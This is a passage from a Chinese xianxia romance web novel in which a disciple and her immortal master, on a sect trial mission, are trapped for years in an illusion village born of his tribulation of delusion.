灵犀瞅了眼两人,“正好我也要回去了,阿月那你和仙尊一起去任务堂吧。”
和灵犀告别,沐月和师尊走在去灵惠堂的路上,在前去领取历练任务之前她们还需要前往灵惠堂找负责此事的长老登记。
“师尊,我要去历练,你可要和我一同前往?”沐月虽然心里知晓答案,但还是问了师尊。
“嗯,到时我们可以一同去看看前往何处。”
宗门历练任务能自行选择,沐月可以找个喜欢的地方前往,历练中途还是四处逛一
逛。
长老办得很快,沐月拿到文书和师尊前往任务堂。
周围的弟子都下意识看向两人,沐月现在都已经习惯,她和师尊旁若无人地将文书交给任务堂的管事。
“我是来领取历练任务的,可有什么任务能让我选择的?”沐月问。
管事看看她又看看辞镜,连忙向他行礼,“仙尊。”
说完才继续回答沐月的话。
“这些都是宗门的历练任务,你可以自行翻阅。”
管事递给沐月一块两张宽的玉牌,上面都记载了十年内的宗门任务,难易程度分为了甲乙丙丁四个等级,完成后不仅能结业,还能获得一笔丰厚的奖励,越难奖励自然越多,但沐月对此不大关心。
她一眼看见了小天星,之前她以为自己梦中的灵珠就在小天星,但司命承诺给她之物和梦中的灵珠极为相似,但她无法确定,正好此地风景很好,她不如前去此地,实在是其他地方都没有吸引她的。
“想好了吗?”辞镜看了眼沐月手中的玉牌。
“想好了,我打算去这里。”沐月领取了前往小天星寻找天心莲的任务,是丁级,并不算难。
莲……不知是否对她有利,若是如此到时她索性不上交了,有没有机会上交也说不准呢,沐月想着。
“师尊,我们何时前往?”沐月拿不准主意,明日还是后日?
“早去早回,不如明日就去?”
沐月犹豫的性子正好需要一个人为她选择,师尊说得不错,留在戚雪峰也无事可做,“那我们明日就去。”
辞镜离开前告知了掌门,掌门生怕他这是脱离万剑宗的意思,但探寻下来只是和陪沐月下山历练,也稍微放下心,如此也好,出去也能散散心,回来想必已经没有太多人关注辞镜与沐月之间的事。
回到戚雪峰,沐月看了眼屋子,也没有太多需要收拾之物,她将柜中自己喜欢的衣裳收了部分放入芥子囊,还有发簪珠钗。
她恨不得将自己所有用惯的东西都打包带走。
辞镜不明白沐月的举动,就好像她们这次出去就再也不会回来了。
但他没有询问,只是静静看着沐月收拾。
将自己想要带走的所有东西都收拾好,沐月转身看向师尊,“师尊你有要带的吗?”
“暂且没有。”
“那好吧,师尊你先出去吧,我再看看有没有遗漏的。”
沐月见他不动,将他推出房门。
门已经合上她才喊出司命,询问天河石的情况,得知天河石并未继续扩大,还算稳定后她也算是暂时放下了心,答应师尊看来果真没错。
之后的时间她只能慢慢试了,若是天河石有愈合的趋势就证明方向是对的,慢慢试总能试出来的。
离开前沐月去了一趟云落阁。
她还没有和大师兄道别。
“大师兄,我已经元婴了,得下山历练,过来和你说一声。”
在她走近时沈风吟就已察觉,听闻沐月的话他心里的怅然一闪即逝,“可想好了去何地?”
“我要去小天星,大师兄你可去过?”
“我并未去过,但有所耳闻,此地风景秀丽美食更多,师妹想必你会喜欢的。”
“那还挺好,到时我回来给你带好吃的。”沐月认真道。
“好,那我等师妹你回来。”
犹豫片刻,沈风吟又问:“师尊可要与你同往?”
“要的,我和师尊一起,”
沐月没说她和师尊结契的事情,又在云落阁坐了会儿,她才离开回到无妄楼。
*
翌日,两人坐着师尊的小型飞舟离开万剑宗,一路往小天星的方向而去。
两人站在甲板上,沐月趴着船舷看向逐渐远去的万剑宗,迟迟没有收回视线。
“会回来的。”辞镜上前抱住她,和她一起看向万剑宗的方向。
希望吧。
分明抱着怀中之人,辞镜却感觉她像是随时会消失,“阿月,师尊将灵力渡给你好不好?”
他虽然有意封闭静脉丹田强行压低自己的修为,但到了一定程度极难控制,他担心自己会飞升。
可若将灵力一点一点渡给沐月,她能快速晋升,他体内的灵力也能减少。
而渡灵力最快速的方式是……双修。
“师尊你为何要渡给我?”沐月不解地问。
显然她还没有领会师尊的意思。
“师尊现在已经无需太多的灵力,给你不是更好?”
“师尊你是不是不想飞升?”沐月抬眸看着眼前的师尊,思索后认真地问。
是的,他不想飞升。
若是飞升,师尊便历劫失败,那还是不飞升得好。
“好呀,那师尊给我吧,我是坐下来你将灵力渡给我吗?”沐月好奇地问,她还从未体验过,还有些新奇。
“这样太慢了,效果不显著。”
“那要怎么办?”沐月满脸不解。
第59章 第59章愧于自己的反应
随后沐月就明白了师尊如何将灵力快速渡给她。
虽说双修确实能够极强地增强她的修为,但她这样的行径貌似有点像吸食男子精气的妖精。
沐月红着脸没说话。
夜里,沐月沐浴完躺在床上,抓住被子闭上双眼,虽说这并非第一次,可她还是紧张,也不知多久才能彻底适应。
听见床边的脚步声,她的手抓得更紧。
辞镜看出了她紧张,轻声安抚,“今夜安心睡吧,师尊不会做什么。”
沐月听闻心里竟划过一丝遗憾,她哦了一声,随后嘴硬地说:“我都要睡着了。”
她听见了师尊的轻笑声,刷地睁开双眼,“我真的要睡着了,都怪你过来吵醒了我。”
“阿月抱歉,师尊下次轻一点。”辞镜将她搂过,歉意地说。
这个轻一点,也不知是为那晚道歉,还是指他过来时放轻动作,总之沐月又开始胡思乱想了,一想便没了困意,她试探着睁开双眼,看着身旁师尊美貌的面庞。
辞镜垂眸和沐月对视,“睡不着了吗?”
“是有一点。”她不困,即便闻着师尊身上令她安心的气息也没有丝毫困意。
她定定地看了师尊许久。
师尊的妄念究竟是什么,实力财力地位他都拥有了,便说感情他现在也已经拥有。
沐月思索不出答案。
她抬头又去看师尊,却对上他隐忍的双眸,纤长的睫毛微湿,眸中掀起圈圈涟漪。
搭在她腰上的手也有些用力,沐月恍然回神,想要从他怀里出来,可却被轻轻按了回去。
她感觉到什么。
沐月满脸愕然,她们,她们没有做什么呀。
“对不起阿月,师尊也不知为何会如此。”辞镜有些羞愧于自己的反应,最简单的触碰现在也能让他的身体不受控制。
他之前虽也会有这样的反应,但并不频繁,也能自行控制,可自从和沐月亲近后他就无法控制自己,便是最寻常的触碰,牵手或是拥抱,或者被她这么看着,他也会生出那样的反应。
“没事啦……”沐月张唇小声道。
但其实有事,之前虽说她偶尔也能感觉得到,但那只是偶尔啊,大多数时候师尊都是克制的,他的身体也如他的人一般,可那夜过后一切就不对劲了。
偶尔和师尊亲密也不错,那晚她的感觉还是挺好的,如果不要太久的话,但若是日日都……那有点不妙,她会严重睡眠不足的。
原本她以为过一会儿就会好了,但她感觉迟迟没有消退,沐月挣扎犹豫许久终于小声道:“师尊,不然我帮帮您?”
她能感觉出师尊的难受,他没有动作只是在强行忍耐,若让他一直忍着她有点心疼。
沐月攀住师尊的衣襟,主动在他的薄唇亲了一下。
过了几秒,她又在他的喉结处轻轻咬下一口。
注意到师尊隐忍滚动的喉结,微蹙的长眉,和他绷紧的下颌,沐月竟从中感受到一丝的兴奋,随后解放天性一般伸手缓缓往下,兴致盎然地探索师尊的身体。
*
几日后抵达小天星,两人在云崖谷降落,据说天心莲就在此地,但既然是历练想要找到应当也要费一番功夫。
看向远处连绵的群山,此地过于辽阔想要知晓具体的位置却是不易。
但沐月是花妖,对于灵植她的感应最是拿手,现在她已经元婴镜,能够感应的范围更加广阔,之前金丹期她便能感知到戚雪峰的大部分地方,元婴境甚至能够感知整座山峰。
若是运气好,或许今日就能找到天心莲所在的位置。
沐月沉下心,将自己的神
识放出,又通过云崖谷的灵植将信息反馈给她。
哪里木灵气最浓厚去哪里准是没错。
她看向山谷的东侧,“师尊我们去那里。”
东侧有一条从悬崖裂缝飞落而下的瀑布,似乎并没有路,但那边的木灵气最为浓厚,或许走近后比啊能发现玄机。
越靠近瀑布的水流声越清晰,看着很近,但沐月和辞镜走了半日才抵达,这还是只是这一个山谷,云崖谷并非只有一个山谷。
天心莲大概率生在有水之处,但应当不是在这瀑布,除非这瀑布别有洞天隐藏了一处深潭,不无这种可能。
耳边水流的轰鸣声让沐月连自己说的话都快要听不清了。
“师尊,你说那瀑布之后是否有路呢?”
她站在这庞大的瀑布之前过于渺小,瀑布之下的深潭泛绿极深,想要顺利过去太过困难,况且谁也不知这瀑布之后是否有天心莲。
沐月能感知到这瀑布之后的浓郁木灵气,但她不能确定是天心莲,但即便不是也应当不是凡物。
“看看就知是否有路了。”辞镜动用灵力就要将这瀑布一分为二,却被沐月阻止。
“师尊我自己试试。”
师尊动手的历练还叫什么历练。
沐月看向周围的能够利用之物,她无法承受水流从万丈悬崖上坠落的力量,但她能够绕路,从瀑布之后搭建一座桥梁。
只有她与师尊在,事到如今她也不怕被师尊发现自己的真实身份,瀑布周围悬崖上的万千藤蔓朝沐月蔓延,她将其拧作一根能够容纳几人通过的绳索,甚至还变戏法似的为编织防止落水的护栏,藤蔓上还开着万千朵各色的小花,一座吊桥从沐月的身前沿着悬崖壁延伸至瀑布后方的崖洞。
“师尊,我们走吧。”
在擎云门辞镜就已经目睹沐月操纵周围灵植抵挡储殷的攻击,他对此是知情的,只是没有询问沐月,就如她头顶冒出那朵花,修士无人能够操纵外物这是共识,但他并没有询问沐月,若她想告知自己,必然会说的。
沐月看了眼身旁的师尊,有些忐忑,并未在他脸上看见异样的情绪后她稍微放松。
“师尊,就像你看到的,我能操控灵植,我头顶的花和丹田的变化应该与此有关,之前我的天赋并不算出众,去了水月洞天历练我才开始觉醒这些能力,总归我没有坏心,之前只是不知道怎么和你说。”
“更多的我无法告诉你,以后你就知道了。”
回到天界,师尊便能知晓所有经过,那时也无需她多说。
“好,那师尊等以后你告诉我。”
沐月笑着点点头。
走上这座吊桥,她想了想在师尊牵她之前牵住他的手,“我们走吧。”
去看看究竟是否是天心莲。
走到瀑布之后,沐月感受到扑面而来的水汽,还有更加浓郁的木灵气,按理说这里应当是水灵气更加浓郁才对,不过她也无法感知到水灵气。
瀑布极快,沐月和师尊走了近一刻钟才看见瀑布之后的崖洞,待继续行进才知果真是别有洞天,瀑布中间处有一崖洞,崖洞底下是平坦的长满青苔的岩石,往里便是一个幽深的通道,也不知此处究竟通往哪里。
沐月和辞镜飞身踩在往里侧干燥的地面,若是被人追杀在此处躲藏是绝佳的位置,但就是进来不易。
此地的岩石看着是自然生成,并非人为,沐月感慨大自然的鬼斧神工。
辞镜率先取出一个夜明珠,昏暗的崖洞内瞬间亮若白昼,崖洞内长满了各种交织的藤蔓。
又走了半日师徒二人也未走出这个崖洞,也没有看见其他的景象,天心莲的影子也没瞧见。
但沐月却是感知到越来越浓郁木灵气,这说明她并未走错。
“先休息一夜吧。”
抵达云崖谷是上午,此时已经入夜,只是在这漆黑的崖洞内容易混淆时间。
沐月也有些累了,“好。”
她看着师尊取出那只飞舟,操控其变成刚好能被崖洞容纳的大小,两人可以在飞舟的房中度过一夜。
沐月有些累了,简单梳洗便沉沉睡去。
此处只有他们二人,辞镜的心也渐渐恢复宁静,他看着熟睡的沐月,突然想永远也不出这云崖谷。
休息一夜,又走了大半日两人终于看见了光亮。
“师尊,我们应该能出去了。”沐月心感激动,也不知出去会是一番怎样的景象,是否青山之间一处碧清的水潭,其中漂浮着天心莲呢?
这是她想象中的场景,想到此她牵着师尊的手加快脚步。
洞外的景象越来越清晰,沐月听见了潺潺水流声,踏出洞口,看见了宛若世外桃源之地,溪水潺潺流向远处山脚的清潭,水面莲叶田田,开着零星几朵粉白的莲花,偶尔有锦鲤跃出水面。
沐月顺着微风,似乎听见了孩童的嬉戏声。
她认真感应,天心莲应当不在此处水潭,但应该离得很近。
抬头看向流水而下的青山,“师尊我们上去看看。”
说完两人御剑飞往山顶,而后看见了令沐月惊艳的一幕。
山顶是一片碧清的水潭,四周有溢出的水至山壁往下流淌,水潭之中正是一朵被莲叶拥簇的闪烁着耀眼光芒的莲花。
这居然只是丙级任务,沐月惊讶。
但她不知这是天心莲的本枝,而云崖谷还有其他由它繁衍而出的天心莲。
“师尊我收走没问题吗?”她隐约感觉周围万物都是因此莲而生,若她贸然取走这里是否会崩塌?
“先试试看。”
沐月催动灵力,将水潭之中的天心莲包裹,尝试着让其脱离水潭,却发现周围瞬间震动,沐月立即停止了动作。
“看样子不行。”
她若取走,或许会毁了这里。
“我之前听到有孩童的声音,师尊我们先下去看看,到时再上来。”
若是其他地方毁了便也毁了,可若此地当真有人居住却是不行。
“阿月,我猜测此地或许是一个幻境。”
“幻境?”沐月从未产生过这样的想法,这一切看着都很真实。
“一半为真,一半为假。”辞镜从进来时就隐约察觉不对。
沐月对师尊的话从不怀疑,他既然有了这个猜测,大概率是真的,那天心莲是否也是幻境?
“我们应该能原路返回吧?”沐月有些担心,她现在想赶紧下去看看刚才的出口是否还在。
可一落地,那处本该存在的崖洞却不见了,消失得无因无踪。
沐月上前伸手触碰那崖壁,没有丝毫痕迹。
找遍了各处,也未能找到机关,还当真是幻境?
“我们将那天心莲摘走,是否就能从幻境中出去了?”
她再次御剑飞上山顶,看见还存在的天心莲心中稍安,沐月催动灵力试图将
其摘走,一眨眼,那天心莲就化作一缕流光在她的额心消失。
偌大的清潭之中只剩几片莲叶。
“消失了。”沐月茫然地看着师尊,她伸手碰了碰自己的额心,微烫,但是并未有其他感觉,所以这天心莲是被她吸收了?
这任务看样子是交不了差了。
辞镜伸手为沐月把脉,“阿月你的魂体是否感觉增强了?”
“我不知道,我现在丹田也有些烫。”
辞镜伸手隔着沐月的衣裳触碰她的小腹,他也能感受到微烫的触感。
“或许是在吸收,此物正与你的身体融合,并未排斥,你放心应当无碍。”
沐月摸了摸自己的小腹,随即想起最重要之事,“师尊我们先下去看看崖洞是否打开了。”
下去途中,辞镜犹豫后问:“阿月,若是下去依旧没有找到出口呢?”
“没有找到那就继续找呀,总归是能找到的,总不会在这里困上几年上百年吧。”
谁知一语成谶,下去时那道石壁依旧完完整整,没有任何崖洞或者能够通过的缝隙。
“翻过那座山应该就能出去。”沐月不信邪,她并非没有遇到过幻境,最多也就困个半月就能找到方法出去。
“我们问问那些村民,他们或许知晓。”
这里并非无人之地,有农田桑竹,也有在田里捉蛐蛐的小孩,也是因此沐月才没想过这里时幻境,瞧着十分真实,但仔细一想又觉奇怪,人界划分了许多区域,有普通人与修士混杂生活的城池,也有单独的修仙地域,几乎没有普通人的存在,而小天星便是这样的区域。
按理说这里并不会有人在此地耕作,沐月看到这番景象还是孩童时期没有被师尊带回戚雪峰那时候的事情。
村民显然也注意到穿着华丽的两人,有些警惕地远离,毕竟此地从未见过有外人进来。
“阿伯,我想问问你知道怎么离开此地吗?”
“离开?我们祖祖辈辈在这里生活了数千年从未离开。”
“那你们没有出去过吗?”
“没有,你们是如何进来的?”阿伯还是面带警惕,扛起手边的锄头。
“我们从一个崖洞进来的,但进来后发现崖洞不见了踪影。”
“你说的崖洞我们从未见过。”
沐月看了眼师尊,若是幻境,这些人也是假的么?
“那请问您可有翻越那几座山?”沐月指着远处的青山问老伯。
“自然。”
“山外面是是什么呢?”
“没人知晓山外面是什么,是翻不出去的。”
老伯渐渐放下防备,眼前的姑娘公子长得比村里的人都要好看,面对好看之人总是能放下戒心,况且两人也没有其他举动。
“你们是从山外面进来的?”
“对,但现在好像出不去了。”
“你们恐怕再也无法出去。”老伯语气带了几分怜悯,“我们莲香村还是头一回见到外来之人,我们这里有年轻人想要出去,可从未有人走出此地,你们索性就在我们村住,多的没有,但吃饱穿暖倒是不愁。”
“你们是兄妹还是夫妻?”
瞧着十分亲近,老伯也无法确定两人的关系。
沐月还没有习惯夫妻这个称呼,下意识就要说师徒,还未来得及回答,师尊就率先开了口,他认真道:“我们是夫妻。”
“原来是夫妻,那你们还算幸运,若是独自一人进来岂不就要分隔两地了,现如今你们夫妻二人也不用折腾了,就在我们村住下吧。”
“多谢老伯。”沐月没有拒绝人家的一番好意。
但她肯定会继续寻找出去的办法,亲自翻过那几座山去瞧瞧到底是怎么回事。
现在也不急,或许一时半会儿无法离开,寻个落脚之处也好,到时再出来找回去的办法也不迟。
此时老伯正好打算回去吃午饭,便将两人带回家。
路上给两人说起莲香村的邪门之处。
路过田间地头,遇到不少打算回家吃饭的村民,都好奇地看向沐月和辞镜,老伯解释了一路,终于回到家中茅屋前。
“你们留下来吃饭吧,先吃完饭再带你们安置,但都是些清粥小菜还望二位不要嫌弃。”
“哪里哪里,多谢老伯,那我们就不客气了。”
他们已经辟谷不会饿但也可以吃,话都说到这份上,人家的一番心意拒绝不大好。
吃完饭,老伯出去了一趟,再回来事带着二人去了不远处的意见空茅屋。
“原本住这儿的牛二跌落山崖摔死了,这屋子就空了下来,就不知你们二位是否介意,你们倒是可以住我家,但我们屋子太小,孩子又多叽叽喳喳的,怕你们夫妻二人不便。”
主要是两人并非暂住,永远也出不去了,还是自己住比较妥当。
他出去了一趟就是和其他村民商量此事,那牛二家只有他一人,这屋因为没个人,不如就让沐月和辞镜二人住。
“老伯这挺好的,我们不介意,多谢你了。”
“客气什么,这屋也不是我的,就是多年未住,你们要收拾收拾。”交代完他又给了二人一些米面菜,“要是不够了来找我们就是了,不过你们还是得种些菜,那屋前的地你们可以用,要是有不懂的,你可以找我,也可以其他人,大家都是愿意帮忙的。”
说话期间屋外已经围了不少人,都是听说村里来了两个神仙般的人物,这对这里的村民而言可是稀奇事。
都闹哄哄地看着两人,有人主动提着菜上前,有些拘谨,但还是给了沐月和辞镜。
两人今日不知说了多少回谢谢,前面给的米面倒也收了,后面的是万万不能,毕竟她们已经辟谷饿不死,这些拿着也是浪费。
因为沐月和辞镜的到来,莲香村难得热闹,这家叫两人去吃饭那家又叫去。
现在全村里也知晓了两人的关系,若是兄妹她们也是不敢高攀生出与人结亲的念头的,得知二人是夫妻,心里了然。
有儿子的家里拍着自己孩子的头,让他不要再肖想,有女儿的家里也让姑娘别再惦记。
“二位当真是郎才女貌,你们成婚多久啦?”
瞧着倒像是生活许多年的,身旁的女孩要做什么,这郎君都了如指掌,两人非常默契,可看着年岁又不大,也不怪有人误会两人是兄妹。
“成婚不久。”辞镜看向沐月,轻声回答。
“原来如此,二位可是青梅竹马?”
沐月差点没忍住想笑,要说出她们是师徒,师尊已经三百多岁,还不把人吓到。
原本大娘只是好奇一问,辞镜却有些不大自在。
随后还是沐月解释:“我们从小一起长大。”
大娘也就默认两人是青梅竹马了。
“你们呀也是怪可怜的,瞧着是富贵人家,这里出不去的,不过你们还算是有个依靠,只要人在日子在哪里过都是一样的,等你们再生个孩子,就热闹起来了。”大娘真心实意地开导二人。
孩子,沐月之前没有喜欢上师尊时动过这样的念头,但与师尊是不可能生的,毕竟不可能将孩子带去天界,之后的事情还说不准呢。
“我们懂的。”沐月看向屋外连绵的群山,当真出不去吗?
和大娘聊完,她和师尊便找了个无人之处,御剑飞向山外,可飞到第四座山,她们突然发现又回到了原点。
不信邪换了个方向,依旧是同样的结果。
“师尊,你有什么头绪吗?”沐月头疼地问。
辞镜摇头,“师尊也不太清楚。”
连师尊都不知晓,那她们岂不是真出去了?不过问题应当不大,等师尊飞升自然就能突破这个幻境。
沐月不死心日日都要围着莲香村转转,尝试各种方法也没能找到出去的办法。
“我们看样子短时间出不去了。”沐月垂
头丧气地说。
还在她的芥子囊里东西很多,之前她几乎将自己卧房搬空,现在都用了用处。
两人暂时在莲香村住下,沐月发现师尊居然挺随遇而安的,还在屋外种上了花草。
“师尊,咱们可不能不出去呀。”沐月蹲在师尊身旁,看着他修长的手指上粘上泥土。
“在此地不好吗?”辞镜轻声问。
他在哪里都没有太大分别,只要身边有阿月在就好。
“也不是不好,但我们总要回去的。”这里可是幻境,怎能一直留在幻境里。
一直留在这里,似乎也挺好的,辞镜想。
沐月又找了几日,还是没有丝毫进展。
她或许可以求助司命。
可问了司命,随后得知了一个令她惊讶的回答。
【这里有些奇怪,是幻境不假,却似乎是你师尊的幻境。】见过识广的司命沉吟后开口。
【准确说来是由你师尊妄心劫衍生出的幻境,只要你能想到办法出去,他或许就能渡过妄心劫。】
【那我为何能看到天心莲?】沐月不解,这既是师尊的幻境,那应该不会出现天心莲吧。
【一半为真一半为假。】
【我还有事,暂时不和你聊了。】说完司命就不见了踪影。
这句话师尊也说过,他知晓此地是幻境,可他知道是他自己的幻境吗?
一半为真一半为假,沐月拧了拧胳膊,怪疼的,或许代表她们的肉身是真的。
*
春去秋来,沐月和师尊已经在此地住了大半年,还是没有找到出去的办法。
屋前的花草倒是越发繁茂,甚至还养了几只小鸡,整天在沐月耳边叽。叽叫,两人坐在屋檐底下煮茶赏花,辞镜将茶杯倒满放到沐月面前,“喝吧。”
“师尊,我觉得我们还是得出去。”沐月已经明白症结所在,也不整日跑去寻找出去的路,而是将心神扑在师尊身上。
“我们在这里就再也无法见到灵犀和大师兄她们了,还有师伯我们也无法见上一面。”
辞镜面色不改,但在无形之中,幻境跟随他的本心已经加强。
有些人并非非见不可。
“可师尊也不知晓出去的办法。”
“……”虽然他可能确实不知,但沐月也不能直接告知他这是师尊你的幻境,只有你想出去,才能出的去。
沐月现在每日烦心的就是如何劝师尊离开,他为什么不愿意离开此地?绞尽脑汁沐月也没想出答案。
一日她有大娘路过与她聊天,看见一身白衣侍弄花草,却不见丝毫凡尘气息的辞镜,大娘悄声询问沐月,“你家这男人看着像是不食人间烟火的,那方面如何呀?”
怎么大半年沐月都没动静,大娘瞧了眼沐月平坦的小腹。
沐月脸臊红,这大娘未免也太过直白了,察觉她的视线,也懂了她是什么意思。
不是师尊不行,是她不想要孩子,现在被人怀疑她肯定是要捍卫师尊的尊严的。
“那个,那个挺行的。”
她现在都有些害怕夜里了,甚至之前还为此和他生过气。
她推也推不开,师尊俯身细细吻干她沾湿睫毛的泪水,话语是极温柔的,低声在她耳边不断道歉却始终不放开,那双提笔作画的手宛若铁索,将她按的更紧了。
也不知事情是如何突然变成这副模样的,或许是她过于放任,她告诫自己下次不能再如此,但回回都是这么收场。
第60章 第60章告白
沐月送走大娘,看了眼还在认真修剪花草的师尊,回到屋里。
这里既然是幻境,她不确定时间流速是否与外界一致。
她在想若是真的数年都无法离开该如何是好。
正吃着师尊做的点心,抬头便看见门口踏入的师尊,一身白衣的他逆光踏入屋中,浑身光辉犹如天上明辉,及脚踝的银发却没有沾染丝毫尘土,与这朴素窄小的茅屋格格不入。
他方才听闻了沐月和大娘的对话,下意识垂眸看向沐月的小腹,他知晓沐月喜欢热闹,若有个孩子她或许会开心些。
“阿月,我们要个孩子好么?”辞镜揽过坐在一旁的女孩,轻声问。
“你似乎喜欢隔壁家的小桐,我们自己生一个就无需惦记人家的了。”
沐月与师尊对视,她连忙错开视线,“还早呢,逗一逗挺好的,但要我自己带孩子我却不大喜欢。”
“没关系,师尊带,你偶尔逗一逗就好。”
辞镜提前了解过,修士与普通人孕育子嗣极为不同,他们可以动用灵力将还未成型的胚胎牵引而出,将其放在代替母体的胎宫藤中让其滋养胚胎长大,能够让修士免分娩之苦。
“可是……我不想生。”沐月知晓左右躲不过,不如直接表明自己的意愿,她不是不愿意,而是她们之间的情况决定了不能生。
之前沐月只说是年龄还小,辞镜以为她是还没做好成为一个母亲的准备,所以也没有多想。
可现在似乎并非如此。
“我们还在幻境之中,或许生下来也是假的呢,若是我付出了许多精力和感情出去后发现是假的怎么办。”她这话不无道理。
“嗯,师尊知晓了。”多出一个孩子分散沐月的注意力也不是辞镜希望看到的结果。
沐月担心的是,她们过个几年都没有孩子,村里怕是又得怀疑是师尊不行。
一晃十年过去,沐月已经和村中的姑娘们打成一片,可还是没能离开此地。
岁月没有在两人的脸上留下丝毫痕迹,容颜依旧,她时不时便会被村里已经嫁人的年轻姑娘或者那些大娘询问,比她年轻个十来岁的姑娘都有了身孕,她还是没有任何动静。
在莲香村大概繁衍子嗣就是天大的事情,沐月和她们解释她们也不太能理解。
沐月被塞了不少适合男子服用的药材,她丢也不是,拿回去给师尊也不是,只能放在桌角吃灰。
夜里,她正想睡觉,却发现沐浴后在她身边躺下的师尊有些不对劲,他身上有些烫,沐月都担心师尊是否是发热了,但到了他这个修为还会生些寻常的病吗?
她伸手摸了摸师尊的额头,也是滚烫的。
“师尊你生病了吗?”
辞镜伸手将沐月的手缓缓拉下,“师尊没有生病。”
说话间沐月发现他的声音极为喑哑。
她不太明白,突然想起今日有人送来补身体的药材。
“师尊你动了桌上的药材吗?”
“嗯。”辞镜语气有些心虚,沐月难得见师尊这幅模样。
他双眸湿润,额头沁出薄汗,眉头微蹙着昭示了他的难耐。
“你为何要吃那个?”沐月脑子发懵,师尊哪需要吃。
“村民盛情难却。”他只说出了这几个字,更多的却无法说了。
他想着或许阿月会更喜欢。
时刻注意着沐月的他发现面前跪坐在床上的女孩满脸通红,眼神微微闪动,似乎并不讨厌他这幅模样。
这么多年的相处他也知晓了沐月喜欢什么,她似乎格外喜欢他的那些反应。
辞镜试探地伸手牵过沐月的手,“阿月你要试试吗?”
沐月咬了咬唇没拒绝,她的心跳加快,手蠢蠢欲动。
“那师尊你不许动。”
辞镜颔首,他睫毛颤抖得越发厉害,但始终没有动,额角青筋跳动,汗水打湿了衣衫他却始终没有动作分毫,任由身上的女孩为所欲为。
*
在这里的每日都没什么太大分别,这项活动成了沐月乐此不疲的事情,看着师尊这幅被雨水打湿的娇花般浑身战栗的模样,她得到了极大的满足,没想到她居然这么恶趣味。
唯一让她烦恼的就是师尊始终没有任何想要出去的念头,这莲香村就这么好吗?她思来想去,突然眼前一亮。
师尊不是想要个孩子们吗?她可以在这里做做文章。
“师尊我想
好了,生个孩子也不错。”
辞镜听闻沐月的话顿住,“为何突然想了?”
“反正就是想了,但我怕疼,得有胎宫藤才行。”
让她自己生是万万不可能的。
辞镜静静看着眼前的沐月没有立即回答。
随后才道:“之前我们寻找出去的路时,师尊在山里发现了胎宫藤。”
“什么?!”沐月震惊。
这里究竟是什么风水宝地,沐月记得胎宫藤便是寻常宗门也是没有的,万剑宗也只有一株,怎么这山里也有。
“所以你不用担心,不会疼的。”
辞镜俯身将沐月抱进怀里,沐月搂着师尊的脖子,满脸惊慌,“师尊我们去做什么?”
“天色晚了,不如现在就去。”
沐月:??
她手忙脚乱想要从师尊怀里下来,生怕真的被师尊抱去屋里生孩子,她老老实实交代:“师尊,其实我是想要出去,若是出去,我们就生好不好?”
只要能出这幻境,或许师尊就能渡过妄心劫。
“阿月,你为何认为师尊知晓出去的办法?”
辞镜不想出去是真,不知出去的方法也是真。
“没有啦,只是觉得师尊你似乎不想出去,也没有和我一起寻找出去的办法。”沐月打马虎眼,师尊是不知道,但她知道啊,司命说过只要他动了想出去的心,这幻境自然那就破了。
辞镜终于松口了。
但沐月发现师尊并非真心实意,所以这幻境还是无法破开,所以她们再怎么找出去的办法也是找不到的。
要让师尊自己选择出这幻境,沐月仔细思索有什么师尊必须出去的理由。
万剑宗或者人界其他地方并没有师尊惦记之物,他的身上找不到,那就只有找她的了。
现在怀孕是不行了,那还有什么办法?
但思来想去都是外力干涉,并非师尊本意,她一时没有头绪。
沐月坚持问师尊他为何不想出去,却一直没有得到她想要的回答。
一日她突然有了主意。
神神秘秘跑去一户人家找人换了两壶酒,酒后吐真言或许将师尊灌醉后就能套出他藏在心里的话。
沐月抱着酒回来,“师尊,王婶给我两壶米酒,说是味道很好,我们好久没喝过酒了,正好尝尝。”
辞镜并未怀疑,接过沐月手中的酒壶,“师尊温一下酒。”
天气冷了,再过段时日或许就要下雪,这个天气喝些酒也好,若是米酒也不醉人,沐月喝上几杯也不碍事。
他将其放在小火炉上温着,等微微烫斟了两杯,倒酒时淡淡的酒香萦绕,沐月端过喝了两口,微甜口感醇厚。
王婶说最初不醉人,但后劲很大,沐月也不敢多喝,像之前在万剑宗晚宴上灌醉师尊那样,一杯接一杯给他倒,现在的她更加理直气壮,反正师尊又不会拒绝她,现在的她胆子大得没边,除了杀人放火没什么不敢做的。
“师尊你多喝些,说这酒养颜呢,你这脸可要好好保养。”
辞镜听闻她的话将酒杯里酒慢慢饮尽。
以往从不会在意自己皮相的他渐渐也开始关注自己的脸,毕竟他知晓沐月是喜欢的,若能让她更加喜欢他也欢喜。
不知不觉间一壶酒已经空了,沐月只喝了一小杯,其余的几乎都被师尊喝完。
“师尊,你现在感觉如何?”沐月凑近观察师尊的脸色。
微微泛红,但是不明显,眼神似乎也是清明的,或许一壶酒太少。
“还好。”辞镜微蹙的眉头渐渐舒缓,他看了眼天色,“可要休息了?”
沐月打算将另一壶也为师尊倒上,可还没来的及行动,就见起身的师尊身形微微晃动,他伸手撑住桌面,看样子酒劲在慢慢上来,她登上片刻,等师尊睡得半梦半醒之间问他许是最为合适。
今夜的喝醉的师尊极为安静,她扶着师尊艰难沐浴后,他也没有其他举动,只是将她抱在怀里。
“师尊?”
“嗯。”
沐月听见师尊低低的回应。
她伸出两根手指在他面前晃了晃,“师尊你看看这是几?”
辞镜睁开双眼,视线停留在她的手指上,许久也没有回答,就在沐月打算换个问题时终于回答,“三。” ??
沐月有点担心师尊一会儿是否会胡言乱语,不管了先试试看。
“师尊,你喜欢这里么?”
辞镜点头,“嗯。”
“为什么呀?”
迟疑片刻的辞镜缓缓道:“因为只有我们。”
哪里只有她们,分明还有那些村民。
“在外面我们也在一起呀。”
“有别人。”
“谁?”
“沈风吟。”
沐月更加迷茫了,沈风吟,和大师兄有什么关系。
正思索着,师尊吻上了她的唇,将她亲得暂时没了思索其他的精力。
她伸手将喝醉的师尊推开,继续刚才的问题,“若外面没有沈风吟是不是就可以出去了?”
“不行。”
“为什么?”
她却没有问出答案,师尊已经闭上双眸陷入沉睡,无法回答她的问题。
沐月自认为自己和大师兄之间并无亲密之举,对他也坦坦荡荡问心无愧,自然没有想到师尊将他当成了假想敌。
事实上不仅是沈风吟,在辞镜看来在外有无数个沈风吟,被她关心在意的储殷,与她相处融洽对她别有所图的海晏清,甚至还有许多别的人,只要她处在那样的环境之中,必然会与许多人来往。
但是在这里不同,这里辞镜知晓是幻境,许多事情都是虚假的,并未在这里所有人都知晓他们的夫妻身份,所有人都想他们夫妻二人生活美满,但在外面临太多的质疑,他担心沐月会在哪日突然厌倦,突然萌生退意。
他们结契或许只是因为外界舆论沐月不得不如此选择。
